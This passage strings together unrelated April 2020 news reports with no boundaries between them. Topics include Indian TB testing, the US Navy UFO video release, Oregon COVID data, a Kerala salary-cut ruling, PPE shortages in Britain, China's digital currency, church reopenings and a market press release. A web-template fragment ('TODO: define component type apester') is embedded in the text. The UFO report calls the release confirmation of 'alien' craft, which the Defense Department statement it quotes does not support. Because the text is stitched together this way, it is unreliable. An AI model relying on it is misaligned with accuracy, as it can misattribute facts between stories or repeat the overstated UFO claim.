in an hour, he said. The state does cartridge-based nucleic acid amplification test (CBNAAT) for tuberculosis. Sharma said eight CBNAAT machines have been handed over from different districts to four medical colleges -- SMS Medical College in Jaipur, SN Medical College in Jodhpur, PBM Hospital in Bikaner and New Medical College in Kota -- of the state. These machines can check a maximum of four samples at a time, he said. The minister said free medicines for a month will be provided to all TB patients of the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) This is a historic moment. This is the first official confirmation that alien unidentified flying objects (UFOs) have indeed been seen and encountered in the skies above earth. The US Government has released three videos, recorded by infrared cameras at different points of time by US Navy pilots as they encountered unidentified flying objects rapidly moving in the skies. This is the first time UFO videos have been declassified by any government around the world, after decades of speculation about the UFOs. The videos, titled "FLIR," "GOFAST" and "GIMBAL" have been officially released on the Naval Air Systems Command website. One of these videos was recorded by US Navy pilots in November 2004 while the other two were recorded in January 2015. The U.S. Navy previously acknowledged that these videos circulating in the public domain were indeed Navy videos. After a thorough review, the department has determined that the authorized release of these unclassified videos does not reveal any sensitive capabilities or systems, and does not impinge on any subsequent investigations of military air space incursions by unidentified aerial phenomena, says the US Department of Defense, in an official statement. "There have been a number of reports of unauthorized and/or unidentified aircraft entering various military-controlled ranges and designated airspace in recent years. For safety and security concerns, the Navy and the USAF take these reports very seriously and investigate each and every report," says Joseph Gradisher, spokesperson for Deputy Chief of Naval Operations for Information Warfare in a statement from the Navy. Incidentally, some of this footage was earlier released, and the DoD says they have officially declassified these videos so as to clear up any misconceptions by the public on whether or not the footage that has been circulating was real, or whether or not there is more to the videos. The Navy videos of the UFOs were first released online between December 2017 and March 2018 by To The Stars Academy of Arts & Sciences, a company co-founded by former Blink-182 musician Tom DeLonge. The company says that they study information about unidentified aerial phenomena. The 2004 incident is believed to have occurred about 100 miles out in the Pacific, says The New York Times. Two fighter pilots who were on a routine training mission were dispatched to investigate reports of an unidentified aircraft that a Navy cruiser had been tracking. Pilots reported back that they could see an oblong object about 40 feet long and it was hovering 50 feet above the surface of the water. "It accelerated like nothing I've ever seen," one of the pilots told NYT. The two videos from 2015 bear witness to two aircraft moving rapidly across the sky. In fact, in April last year, the US Navy introduced official guidelines for pilots who wanted to report sightings of unidentified objects, including what radar and other data may be collected as evidence. Even though these videos are now available for everyone to see, there is still no official explanation as to what these aircrafts are, any identification or whether they were further tracked or not. The Oregon Health Authority has been knowingly sharing coronavirus statistics with state lawmakers that include test results that do not match the agencys daily tallies to the public. The inconsistencies create confusion about testing trends in Oregon at a time when the states relatively low testing rate has come under national scrutiny. The state is giving weekly compilations of the daily numbers to legislators. But the health officials are sometimes adding up 6 days of data or 7 days of data, depending on the week. That has shown, for example, an erroneous record peak in reported coronavirus infections in one week and a higher-than-actual climb in weekly test results at another point. The numbers provided to state legislators suggested: The total number of reported weekly coronavirus infections peaked at 472 between April 4 and April 10. In reality, the peak of reported positives happened a week earlier, at 485, according to daily tallies. Oregon made a huge leap in testing between the week of March 28 to April 3, with 7,871 tests, compared to April 4 to April 10, with 9,790 tests reported. There was a jump, but it wasnt that big. The tally based on daily reports showed 8,510 tests during that earlier week, meaning the increase to the next week was not as large as reported to lawmakers. State officials have known about the inconsistencies in the tallies for more than a week, when The Oregonian/OregonLive first pointed them out in the course of trying to identify virus testing trends. But the state didnt revise the numbers and shared them with lawmakers once more. On Monday, less than two hours after another inquiry from The Oregonian/OregonLive, the state notified lawmakers about the discrepancies. A state official defended their tallies while acknowledging they do not match daily report totals blaming the discrepancies on how officials chose to tally the weekly numbers for lawmakers. The reason is that, on at least one day and maybe more, the numbers for each were pulled at different times of the day, senior policy adviser Matthew Green said in an email to lawmakers. For example, it appears that on March 27, the numbers were pulled for the daily press release, then later in the day reports on 48 new positive cases came in, then the numbers were pulled for the weekly report, Green wrote. The result is that the report for the week ending March 27 is 48 cases higher than the sum of the cases shown in daily press releases for the same week. Subsequently, those 48 cases were reported in the press release for March 28, so that weekly total for the week starting March 28 is 48 cases less than the sum of the daily press releases for that week, he continued. Neither number is wrong, Green added. They represent the same data, sorted in a slightly different way. We received an inquiry asking about the difference, so we wanted you to have this explanation. In the end, even though the snapshot calculations are different, the public testing numbers released each day and the weekly numbers provided to lawmakers add up to the same aggregate. Oregon through Friday reported 2,177 infections out of 45,492 people tested. Philip Schmidt, a state spokesman, would not say why officials decided not to revise the weekly totals shared with lawmakers after the discrepancies were discovered. -- Brad Schmidt; bschmidt@oregonian.com; 503-294-7628; @_brad_schmidt Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. In a setback to the LDF government's plans to mobilise funds for COVID-19 battle, the Kerala High Court on Tuesday stayed an order for salary cut for its employees, observing that it lacked legal backing. The court order was welcomed by opposition Congress which said it was "a huge blow" to the government that "displayed an arrogant approach" on the matter while Chief Minister Pinarayi Vijayan reacted cautiously, saying it will have to be followed. Justice Bechu Kurian Thomas issued the interim order valid for two months considering a batch of petitions filed by a section of state government employees and their organisations challenging the April 24 order for deducting one month salary in five installments. Noting that the executive order lacked legal backing, the court said it was also ambiguous as it has not clearly stated how the money was going to be spent. The G.O. had said the state government employees' salary for six days every month would be deducted for the next five months as part of raising funds for fighting the COVID-19 pandemic in the state. "This would be applicable to employees of all state-owned enterprises, public sector undertakings, quasi-government organisations, universities, etc in the state," the order, issued in line with a state cabinet decision, had said. However, it had made it clear there will be no salary cut for staff who earn less than Rs 20,000 per month. The order had also stated that ministers, MLAs, various board members, local body institution members, members of various commissions would receive 30 per cent less salary for one year. Reacting to the development, state Finance Minister Thomas Isaac opined that since it was a high court order it was binding on other states and even the central government which have taken similar decision on salary cut for the government servants for fighting COVID-19. "We will wait for the detailed order and respond accordingly," he told reporters in Thiruvananthapuram. Vijayan said the high court order will have to be followed. In a statement, state Congress president Mullappally Ramachandran said the government took the decision to deduct the salary without the consent of the government servants. Former chief minister and senior Congress leader Oommen Chandy said the government should follow democratic principles while going ahead with such decisions. He urged the government not to forget "the support" given by the police and health officials in the fight against COVID-19. While announcing the cabinet decision on Wednesday, Vijayan had said the deducted amount will be given back to the employees when the financial condition of the state improved. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) H ealth Secretary Matt Hancock was today confronted by the son of a doctor who died with Covid-19 after raising concerns about a shortage of personal protective equipment (PPE). Intisar Chowdhury, the son of Dr Abdul Mabud Chowdhury, asked Mr Hancock if he regretted not listening to his father's concerns regarding the lack of PPE, and pushed the Health Secretary to apologise for the Government's "mistakes" in handling the virus outbreak. Consultant urologist Dr Chowdhury, 53, who worked at Homerton University Hospital in east London, died on April 8, after being treated for two weeks in hospital. Five days before he was admitted, he wrote a Facebook post, addressed to Prime Minister Boris Johnson, in which he appealed for "appropriate PPE and remedies" to "protect ourselves and our families". Speaking during a phone-in on the Nick Ferrari show on LBC, Mr Chowdhury said: You might know my father, Dr Chowdhury. "When he was unwell he wrote an open letter to the Prime Minister appealing for more PPE for NHS frontline workers, it was a request that was ignored, two weeks later he passed away and since then over 100 NHS and social care workers have passed away from contracting the virus. Do you regret not taking my dads concerns, my 11-year-old sister dads concerns and my wifes husbands concerns seriously enough for my dad that weve all lost? Mr Hancock replied: "I'm really sorry about your dad's death. I've seen the comments that you've made and the comments you've made in public. I think it's very brave of you to be speaking out in public. "We took very seriously what your father said and we've been working round the clock to ensure there is enough protective equipment. "In the case of anybody who works in the NHS or in social care and has died from coronavirus, we look into it in each case to find out where they might have caught it and what lessons we might learn. Absolutely its very important these lessons are learnt. What I can assure you is we took very seriously your fathers concerns that he raised. Dr Chowdhury was concerned about the lack of PPE for NHS workers / PA Mr Chowdhury continued to press for an apology from the Health Secretary. He stated: "The public is not expecting the government to handle this perfectly - none of us are expecting perfection, we're expecting progression. "We just want you to openly acknowledge that there have been mistakes in handling the virus, especially to me and to so many families that have really lost loved ones as a result of this virus and probably as a result of the Government not handling it seriously enough. "Openly acknowledging your mistake is not an admission of guilt, it is genuinely just making you seem more human." Mr Hancock replied: "I think that it is very important that we're constantly learning about how to do these things better and I think listening to the voices on the frontline is a very, very important part of how we improve." Mr Ferrari then intervened, asking the Health Secretary: "Will you accept mistakes were made on the provision of kit?" Mr Hancock insisted: "A huge amount of people are doing everything they can, and have been doing since the start of the crisis. "I don't want to play down their enormous efforts." Mr Ferrari then passed on condolences to Mr Chowdhury on behalf of him and the Health Secretary, who added absolutely. In a Facebook post on March 18, the Hackney-based doctor wrote: People appreciate us and salute us for our rewarding job which are very inspirational but I would like to say we have to protect ourselves and our families /kids in this global disaster/crisis by using appropriate PPE and remedies. The Government has faced continued criticism over the distribution of PPE, with NHS doctors and nurses now being forced to reuse masks and hold their breath when carrying out medical procedures due to a lack of protective equipment. More recently, Panorama revealed that key items of protective equipment were not included in the governments pandemic stockpile when coronavirus hit the UK. Mr Chowdbury was not the only doctor who pleaded for PPE before tragically dying from coronavirus. Pilot programs of China's central bank digital currency will soon start in selected regions, including Xiongan New Area in Hebei province, focusing on consumption scenarios such as catering and retail sales, according to media reports. A number of enterprises in Xiongan, including cafes, restaurants, bookstores and hotels, have joined the trial, working with State-owned banks and leading internet companies to test the country's first digital version of renminbi issued by the People's Bank of China, the central bank, the reports said. Local government employees in Xiangcheng district of Suzhou, Jiangsu province, whose salaries are paid through accounts in the country's "big four" banksBank of China, China Construction Bank, Agricultural Bank of China and Industrial and Commercial Bank of Chinahave been asked to install "digital wallets "on their cellphones this month, according to the local government. A part of their salaries will be paid in central bank digital currency starting from May, the notice said. A report from Sichuan Newsnet said that more plans of the trial in Chengdu, Suzhou and Shenzhen are expected to debut before or after the May Day holiday. Chengdu will apply the digital currency in online and offline consumption activities, Xiongan will mainly use it in clearing services, while in Shenzhen, bank employees will pay taxes with the digital currency, said the report. The digital currency research institute of the PBOC confirmed earlier this month that China has started testing its government-backed digital currency in some regions before it is introduced to the public. "Compared with paper notes and coins, the digital currency can cut issuing costs, such as expenses on printing, transportation and management," said Dong Ximiao, a researcher at National Institution for Finance and Development. The digital renminbi will replace part of cash in the future but will not eliminate all banknotes soon. "Paying with cash and digital currency will coexist for a long time," said Dong. Payments via the upcoming Chinese sovereign digital currency could be contactless and the transaction can be achieved when two mobile phones with electronic wallets get close to each other, Mu Changchun, head of the PBOC digital currency research institute, said earlier. Different from the existing electronic payment methods, such as Alipay and WeChat Pay that rely on the internet, digital currency can be exchanged offline when two cellphones get close to each other, said Mu. China could be one of the leading countries in the world to have a retail-based central bank digital currency, said analysts. The PBOC started research on its digital legal tender in 2014. The State Council approved the PBOC's digital currency development program at the end of 2017, jointly with some qualified commercial banks and institutions. The central bank called the new money as "digital currency and electronic payment". Peng Wensheng, chief economist with Everbright Securities, said that once the regular delivery channels of the central bank digital currency are opened, more people will take the new money, and it may compete with existing electronic payment tools. "If businesses do not need to pay any fee for using the digital currency, it will take some of the market share of Alipay and WeChat Pay. In the future, digital money issued by the central bank is likely to compete and compliment the private sector's electronic payment platforms," said Peng. The digital currency trials now are being conducted in a "closed environment" and not connected to the existing sovereign currency issuance and circulation system, according to a senior official from the PBOC's institute, who did not want to be identified. Historic Drop in National Reading, Math Scores Since Adoption of Common Core: Study Reading and math scores among American students have seen historic declines since the adoption of the Common Core Curriculum Standards a decade ago, according to a report published Monday by Boston-based conservative think tank Pioneer Institute. In his study titled The Common Core Debacle, education policy researcher Theodor Rebarber suggested that despite Common Cores goal of improving the international competitiveness of American students in math, the skills of average and lower performing American students have dropped in both math and reading, and have continued to fall behind international peers. Rebarber observed that the scores of the National Assessment of Educational Progress (NAEP) tests in fourth- and eighth-grade math were rising at a steady pace in the decade before Common Core was implementedfrom 2003 to 2013. During the Common Core era, however, scores at both grades fell, with eighth-grade math scores dropping at nearly the same rate as it was previously increasing. The shocking trends were especially evident for the lowest-achieving students, reported Rebarber. While the very top-performing students have mostly maintained their pre-Common Core trend of gradual improvement, the lowest achievers took the hardest hit, wiping out gains they made in the decade prior to Common Core and further widening the achievement gap. The sustained decline were now seeing, especially among our most vulnerable students, simply cannot be allowed to continue, Rebarber said. Students leave the Thurgood Marshal Elementary school after the Seattle Public School system was abruptly closed due to coronavirus fears on March 11, 2020 in Seattle, Washington. (John Moore/Getty Images) The author also noted that Common Core proponents, motivated by progressive dogmas, refused to address substantive criticism of the quality of the standards. Its time for federal law to change to allow states as well as local school districts to try a broader range of approaches to reform, he added. With a more bottom-up approach, more school systems will have the opportunity to choose curricula consistent with our international competitors and many decades of research on effective classroom teaching. The average reading score for American fourth- and eighth-graders saw a decline since 2017, according to the latest NAEP scores in reading and math, released in 2019. Changes in math scores between 2017 and 2019 were mixed, with an increase among fourth-graders but a decrease in eighth-graders. Over the past decade, there has been no progress in either mathematics or reading performance, said Peggy Carr, associate commissioner of the National Center for Education Statistics, which developed the NAEP tests. The lowest performing studentsthose readers who struggle the mosthave made no progress in reading from the first NAEP administration almost 30 years ago. CHICAGO Gov. J.B. Pritzker on Tuesday said his extension of the states coronavirus stay-at-home order it remains very much in effect despite a Southern Illinois judge ruling against it. During his daily COVID-19 briefing, Pritzker also said the Illinois Attorney Generals Office has already filed an appeal of the judges ruling on Monday. On Thursday, State Rep. Darren Bailey, R-Xenia, filed a lawsuit in Clay County Circuit Court claiming Pritzker exceeded his authority in extending the stay-at-home order through May 30. Clay County is about 100 miles east of St. Louis and has a population of about 14,000. Bailey argued that, under state law, Pritzker could not extend his first executive order beyond 30 days. On Monday Clay County Chief Circuit Judge Michael D. McHaney agreed, issuing a temporary restraining order against the executive orders extension, but applying it specifically to Bailey. This ruling only applies to one person, because it was only ever about one person, said Pritzker, calling the lawsuit a cheap political stunt. While the courts order is limited, the risk it poses is significant by agreeing with the plaintiff in this initial ruling the court set a dangerous precedent, Pritzker said. In a press release Tuesday, Bailey said he intends to continue to push the issue and that Pritzker has acted as if he knows best, but he does not know whats best for all 12 million residents in our state. We have a mechanism in place through the Illinois Department of Public Health, and how to act during a pandemic was laid out many years ago, long before J.B. Pritzker came to office, Bailey said. Ive asked him since Day 1 to respect local governments throughout the state and hes refused. But I believe this lawsuit is the mechanism by which we the people will be allowed to govern ourselves as our constitution demands. More Information Second suit challenges Pritzker A second Illinois lawmaker has filed suit against Gov. J.B. Pritzker's planned extension of his stay-at-home order through May 30. State Rep. John Cabello, R-Machesney Park, said Tuesday that he planned to file a nearly identical suit to the one by state Rep. Darren Bailey, Xenia, that a judge upheld on Monday. "I hope it sends a wake-up call to the governor; the guy that is acting like a dictator," Cabello said. Pritzker has said he wants local governments to enforce his orders, but some sheriffs, such as Kankakee County Sheriff Mike Downey, said enforcing it came with too much liability, opening law enforcement agencies up to lawsuits. "We have enough liability issues to worry about on a daily basis that this would just exacerbate the problem and I just don't see it being legitimate," Downey said. - Greg Bishop, The Center Square See More Collapse On Tuesday, Pritzker said there could be thousands of deaths if the judges ruling is upheld. He also talked Tuesday about the 1,120 Illinois National Guard and Air National Guard members deployed throughout the state on COVID-19 related missions and noted a Polish delegation of medical personnel recently arrived in the Chicago area to help them. The Chicago area has a very large number of people of Polish descent. Good morning. (Was this email forwarded to you? Sign up here.) Private companies step in to source protective gear Marc Benioff, the billionaire founder of Salesforce, is leading a group of companies buying piles of personal protective equipment for hospitals. Within weeks of being asked for help in mid-March, he has spent more than $25 million to source more than 50 million pieces of equipment, David Gelles of The Times writes. A 25-person Maskforce team at Salesforce is coordinating the effort. The companys partnership with the Chinese e-commerce giant Alibaba proved crucial a call from Mr. Benioff to the Alibaba chief Daniel Zhang set the plan in motion. After vetting Chinese suppliers of masks, gowns, face shields and swabs, another call by Mr. Benioff, to the FedEx C.E.O. Fred Smith, secured planes and trucks for distribution. As David writes: The relative ease with which Salesforce acquired so much protective gear stands in sharp contrast to the often chaotic government efforts. While states have had to compete against each other for scarce supplies and the strategic national stockpile of protective gear is depleted, Mr. Benioff and his team simply called up their business partners in China and started writing checks. Other Silicon Valley chiefs are tapping their connections. Tim Cook of Apple sourced 20 million masks and Jack Dorsey of Twitter pledged $1 billion to coronavirus relief programs. A group of financiers has teamed up with scientists to create a Manhattan Project for Covid-19, The Wall Street Journal reports, and their recommendations have gained traction at the White House. Recently, amid mounting global skepticism, China finally revised its official count of coronavirus fatalities in Wuhan -- the pandemics initial epicenter -- upward by 50 percent, adding 1,290 deaths to bring it to 3,869. Chinese Foreign Ministry spokesman Zhao Lijian, who earlier had peddled a discredited conspiracy that the United States introduced the virus in China, insisted this revision was nothing more than data catching up with reality, not the reaction to a cover-up. However, the revision notably occurred after a series of media articles, led by Radio Free Asia, came out questioning the official number. RFAs reporters had concluded over a month ago, after analyzing the sheer numbers of cremated remains coming from the regions seven main funeral homes, that the Wuhan death toll was likely closer to 42,000 -- over 10 times more than the official count. This is just one of many examples of the free press calling Chinas Communist Party to account for its lack of transparency. But during this international public health crisis, the role of the press has become more essential than ever. By pursuing the truth, journalism stands in the way of the CCP and authoritarian rulers in other countries deceiving their publics over their handling of COVID-19. Independent reporting is necessary to keep citizens informed and help the international community tackle a virus transcending political affiliations and national boundaries. Chinese authorities took extraordinary steps to suppress information about the virus at the start of the outbreak. Reporters Without Borders (RSF) documented the lost opportunities that government officials, public health personnel, and state-controlled media in China had to alert the wider public to a potential epidemic -- and potentially save lives. Instead, Chinese authorities have lashed out, punishing researchers, doctors, and lawyers who shared information that disputed official claims. In March, as the outbreak raged, China even resorted to expelling foreign correspondents from the Wall Street Journal, New York Times, and Washington Post, as well as from the Voice of America -- RFAs sister network. Chinas official mouthpiece Global Times justified this extraordinary action as a response to what the CCP saw as unfavorable coverage of the demonstrations in Hong Kong and the mass-internment of Uyghurs in western China, as well as an unflattering portrayal of Chinas official missteps in addressing the coronavirus outbreak. Growing distrust with state media resulted in many people in China seeking news from independent sources. We can't tell whether there are new cases in the hospitals or not. But local officials are sure to be covering up the truth," a Wuhan resident told RFA a month ago as authorities enforced an information lockdown. During the first three months of the year, when the outbreak was at its worst in China, RFAs Mandarin Service -- which has been closely reporting on the virus progress and human toll -- saw a dramatic increase of visits to its website and engagement on social media, with a 400 percent increase in video views on Facebook in comparison to the last three months of 2019. Citizen journalist Chen Qiushi was detained by police in February 2020 after he started livestreaming from hospitals in Wuhan. Credit: Chen Qiushi Since botching the initial containment of the virus, China has attempted to spin its response to the outbreak as a model worth emulating. Despite the touted success of its mask diplomacy, the transactional nature of Chinas aid -- offering services and resources to countries in exchange for influence -- and its global PR campaign have been met with skepticism from analysts, public health experts, and world leaders. Its distribution of medical supplies and PPE have been marred by defective products. Frances Emmanuel Macron told The Financial Times that it is naive to trust Chinas self-assessment of its handling of the disease. The racist treatment of African citizens in Chinese cities, reportedly encouraged by authorities, during the COVID-19 outbreak recently spawned a backlash among African leaders who once eagerly embraced Chinas support. In RFAs broadcast countries beyond China, all of which are under varying degrees of authoritarian rule, governments have kept a tight grip on information and used the pandemic to consolidate control. Cambodia has passed a law that would allow Prime Minister Hun Sen to assume sweeping emergency powers -- this from a leader who has already squelched independent media and any opposition that could threaten his 35-year rule. The law would allow complete surveillance authority over telecommunications and control of social media and the press. RFA learned that despite Pyongyangs claims that North Korea remains free of the disease, government authorities have been lecturing local community groups about confirmed COVID-19 cases in three of the countrys regions. These actions shouldnt come as a surprise given that the governments of these countries have long embraced Chinas model of suppressing information, no matter the public need. But this time, their stance is dangerously irresponsible, not only to their own citizens but to the global community. Policy-makers and medical personnel battling a virus that knows no borders need reliable figures about the rate of infections, effectiveness of treatments, availability of supplies, and other key data to make the best possible decisions. Journalists, not propagandists, are the ones to ensure that decision-makers and citizens alike possess that knowledge. As we mark World Press Freedom Day during one of humanitys most challenging moments, its crucial that we consider the consequential role that journalists play. Reporters, editors, and all assisting the effort to keep us informed are also essential workers during a crisis, especially one of this magnitude. Our mission -- despite threats, intimidation, and censorship -- must never cease, as long as there is truth and the public good to be defended. Philip Wen (L) Josh Chin (R) of the Wall Street Journal were expelled from China in February. AFP Bay Fang is the President of Radio Free Asia. The number of confirmed coronavirus cases in Japan increased to 13,613 on Monday as 172 new cases were reported nationwide. The tally includes people tested at airport quarantine stations, health ministry officials, quarantine officers and individuals who returned to Japan from China on government-chartered planes. It also includes infections among the crew of the Costa Atlantica cruise ship docked at a port in Nagasaki, western Japan. The addition of 712 cases from the Diamond Princess cruise ship that was quarantined in Yokohama in February brings the total to 14,325. The death toll in Japan has risen to 407, including 13 from the Diamond Princess. Listed by prefecture, Tokyo has 3,947 infections; followed by Osaka with 1,521; Kanagawa with 961; Saitama with 826; Chiba with 814; Hokkaido with 650; Hyogo with 630; and Fukuoka with 621. Health ministry officials say 304 people are in serious condition as of Monday, including four from the Diamond Princess. A total of 3,554 have recovered and left hospital. Churches nationwide make plans for soft reopening with fewer attendees, sanitation stations Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment After holding online-only services for weeks due to mandatory social distancing rules, many churches around the nation are planning to reopen while taking all precautions needed to check the spread of the coronavirus, according to reports. In Missouri, Gov. Mike Parson on Friday announced his plan to reopen the state from the coronavirus shutdown which would include guidance for attending church services, according to KCTV5. Businesses and other organizations will be allowed to reopen beginning May 4 while an emergency declaration will be extended through June 15, Parson said at a news conference. Some communities will be able to open at a faster rate than others, he added. In Fishers, Indiana, a local pastor announced that the church building will reopen for services this weekend, and called the governors stay-at-home order an attack on religious freedom, according to WTHR. We are officially in a situation where your religious freedoms have been removed in the interest of public health, pastor Dave Sumrall of I-Town Church was quoted as saying in a message posted on the churchs Instagram page. So on one hand, the church has been deemed essential. But on the other, were not allowed to gather. I personally believe this is an attack on what the definition of a church is. The church said it will only allow 10 people at a time for Sunday worship, and will start a new service every hour. In New York, the Syracuse Diocese is also planning to reopen in a safe and effective manner, WKTV reported. Bishop Douglas Lucia sent out a letter notifying local churches about the plan. I feel we must err on the side of caution in order to eradicate this deadly virus from our communities and will continue to follow the directives of local authorities, he wrote. I am looking to see if an outdoor mass with participants staying in their cars is feasible as an interim measure if not permitted to gather in our church buildings. Each week Im trying to do my best via YouTube and our parish Facebook page to send a message of encouragement and hope, and to celebrate Sunday liturgy so that we can at least feel connected to one another, Father Joseph Salerno at Our Lady of Loudes Church in South Utica was quoted as saying. One of the thoughts that has come forward is to possibly having a mass specifically designated for those who are most vulnerable. That may be people 65 years and older, those who are most vulnerable, and at this point in my life I am among them. We could keep them as safe as possible. In Montana, Gov. Steve Bullock has announced phase one of reopening that includes churches. Summit Churchs Lead Pastor Lance Steeves says his congregation will cooperate. Setting chairs up at 6 feet apart where people have that safety in distance, sanitization to have hand sanitizer available. Stations set up where people are constantly cleaning. Shortening services, where it helps people to alleviate things like the restroom. We talked about perhaps closing down areas like the meeting places like around the coffee bar, he said, according to 7KBZK. I think the number one, for the soft launch, is to allow people to know that were still going to be online and especially people who are elderly, people who have low immune systems, to recommend that they stay home until we get the all clear, he added. However, in Oklahoma, despite Gov. Kevin Stitts willingness to allow churches to reopen, some congregations say they are not ready. We all want to preach and I get that but we also want to protect people too, pastor Keith Wiginton of Claremore First Baptist told KTUL. There are people that are like, 'Im coming back right now,' and then there are some that are like, 'Im not coming back for six months.' Nearly half of pastors across the country hope to be back in their buildings with their congregations by May. However, a recent weekly national pastor panel survey for April 7-13 conducted by Barna measuring their well-being, attendance and giving suggested that most pastors expect their return might take longer. Asked when they thought theyd be able to host church services in their usual location or building, 47 percent of pastors predicted this will happen in May. This group of pastors eyeing a May deadline, however, showed a 10 percent drop over the previous week when 57 percent of pastors in the survey picked it as their reopening month. Some 50 percent of pastors in the survey also felt they wont be able to return to their church buildings until June or later. Of this group, 35 percent chose June, 14 percent picked July or August while 1 percent imagine their return will be later. Last week, President Trump unveiled guidelines for Opening Up America Again, after weeks of a nearly nationwide lockdown. New Delhi, April 28 : Terming that the plasma therapy is at an experimental stage, the Union Ministry of Health and Family Welfare, here on Tuesday, said considering it as treatment of Covid-19 was wrong, illegal and might create "life threatening" complications. Addressing the media, Lav Agarwal, Joint Secretary in the Health Ministry, said, "The Indian Council of Medical Research (ICMR) has stated clearly that there is no approved therapy for Covid-19, including the plasma therapy. In fact, there is no approved therapy for Covid-19 anywhere in the world." Till the ICMR concluded its study of the plasma therapy for Covid-19, it would be unethical and illegal to call it a treatment for the coronavirus infection, he said. "The plasma therapy is one of the therapies being experimented with for Covid-19. But there is no evidence to support this therapy as a treatment of this disease. It's still at the experimental stage. The USFDA is also looking at it as an experiment only," Agarwal said. The ICMR had initiated a nationwide study to check its efficacy. Until robust scientific proofs were available, he said, "We should use this therapy only for trial and study purposes. In fact, if the plasma therapy is not used as per the prescribed guidelines it could cause life-threatening complications." Under this therapy, plasma of a recovered person, in this case Covid-19, is taken and infused in the patient. But till date no country has okayed this therapy for treatment for Covid-19. Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text P lans for the phased return to school for children in Wales are due to be announced by the Welsh Government. Education minister Kirsty Williams will set out the five key principles which will determine how pupils will go back to school after the coronavirus lockdown restrictions are eased. Schools are only open to vulnerable children and children of critical workers, with many local authorities adopting a hub approach rather than opening all schools in their area. Ms Williams said school provision would gradually adapt and extend further during the next phase of the lockdown, in line with changes outlined by First Minister Mark Drakeford last week. Dominic Raab says it's 'inconceivable' for schools to reopen without social distancing measures He published a framework with seven key questions to help lead Wales out of the coronavirus pandemic. On Tuesday, Ms Williams will set out five guiding principles which will determine when and how schools will return to providing education for most school pupils. They are: - The safety and mental, emotional and physical wellbeing of students and staff. - Continuing contribution to the national effort and strategy to fight the spread of Covid-19. - Having the confidence of parents, staff and students, based on evidence and information, so that they can plan ahead. - Ability to prioritise learners at key points, including those from disadvantaged backgrounds. - Consistency with the Welsh Government's framework for decision making, to have guidance in place to support measures such as distancing, managing attendance and wider protective actions. "Our latest understanding of the rate of transmission of Covid-19 allows us to be hopeful, but still requires us to be cautious," Ms Williams said. "It is vital that parents, staff and students have confidence in returning to school. We will only enter the next phase when the evidence and advice suggests that it is the right thing to do." TODO: define component type apester Ms Williams added: "I will communicate any decision to change the operation of schools well in advance of any required action, allowing school staff, pupils and parents to plan ahead. "Schools will not immediately return to operating at full capacity. It will be a phased approach and I do not expect schools will suddenly open for all pupils, from all years, all week. "The ongoing challenge of Covid-19 means we will prepare schools for a range of scenarios for the foreseeable future. "However unlikely, we must prepare for an eventuality that requires schools to reduce operations at specific future points." Earlier this month, Ms Williams suggested Wales could follow countries in Europe like Denmark with phased reopening of schools starting with younger children in primary education. "It's quite clear to me that when schools reopen it won't be business as usual," she said. "As I understand it, social distancing practices are probably due to continue for a considerable period of time. "And that causes some real practical challenges in terms of school transport, in terms of parents at the school gate, and the ability to accommodate the cohort within confines of a classroom. A crisis of a century, like the COVID-19 pandemic, gives the leading lights of society, including the political class, a chance to redeem themselves. Over the last 50 years, until when the politician still retained some of the esteem earned during the freedom struggle, we have seen a steady erosion in their standing. Over time we have seen corruption, criminalisation and the misuse of power turning the politician into a necessary evil. The pandemic presented our politicians a great chance to reinvent themselves as responsible, empathetic leaders dedicated to the service of the people. But how have they made use of this opportunity? To start with, they failed the millions of migrant labourers and lakhs of others stranded far away from their homes. That the unplanned lockdown has dealt a severe blow to the lives of daily/weekly wage earners goes without saying. But what matters more is what the politicians were doing before the lockdown and during it. In the initial days of COVID-19, it may be recalled that former Rajasthan chief minister Vasundhara Raje and her parliamentarian son Dushyant Singh were attending parties (after which they had to go for isolation). Then in the middle of the lockdown, a former Prime Minister, H D Deve Gowda, was found busy organising his grandsons wedding without any regard for the current social reality -- thousands of families have been forced to postpone marriages or making it a truly small affair, not to mention the risks of the event. As far as the norms of physical distancing is concerned, hundreds of videos have emerged showing how politicians are floating them with a sense of impunity. As if all this was not enough, many political figures are now involved in petty spats, like during normal times. Sonia Gandhi's attack against the Bharatiya Janata Party (BJP), claiming the party was focussed more on spreading the 'virus of hate', and the BJPs reaction to it, claiming she was doing 'cheap politics', is a glaring example of it. Meanwhile, Kapil Sibal has done his best to use the crisis for political advantage by claiming the Citizenship (Amendment) Act-National Register of Citizens (NRC) should now be forgotten as things of the past. At the state level too, there are many such examples. In the worst hit state of India, Maharashtra, the ruling Shiv Sena mocked its arch rival Raj Thackeray (who for his part demanded opening of liquor shops to augment the revenue of the state), claiming that for Raj a rice plate is as important as a peg. What happened in Bengal was also unwanted and unwarranted. The state witnessed a full-fledged political battle between the governor and the chief minister after the state chief secretarys unusual attempt to precipitate a crisis during the central teams visit to the state by saying that it will not be allowed to move around. Without going into the details, we may take note of the sharp political content of the letters shot by the governor and the CM, all in the name of combating the situation. After initial criticisms coming regularly from the governor, Mamata Banerjee dashed off a letter that reminded the governor that he was nominated while the CM was constitutionally elected, and also took exception to Governor Jagdeep Dhankhars tone, tenor and language. Dhankhar reacted by tweeting that the 'state and people cannot be made to suffer at the hands of those who compromise constitutional prescriptions'. Then in his letter to the chief minister, the governor alleged that she was violating Articles 166 and 167 of the Constitution. We will not go into who is right and who is wrong in the case of Bengal, in the case of Maharashtra (where former chief minister Devendra Fadnavis too has attacked the government for lacking in coordination), or at the national level, for this not the time for it. But we need to point out that this kind of bickering must be sounding tragic to the ears of people who are suffering. The attitude and mentality of the political class across party lines is further eroding the prestige of the politician. It is high time the political class realises that they are committing harakiri. (Diptendra Raychaudhuri is a Kolkata-based journalist and author of books including, A Naxal Story. He is a deputy editor at the Bengali daily, Aajkal) Disclaimer: The views expressed above are the authors own. They do not necessarily reflect the views of DH. Technavio has been monitoring the language learning games market and it is poised to grow by USD 2.28 billion during 2019-2023, progressing at a CAGR of almost 25% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005751/en/ Technavio has announced its latest market research report titled Global Language Learning Games Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of 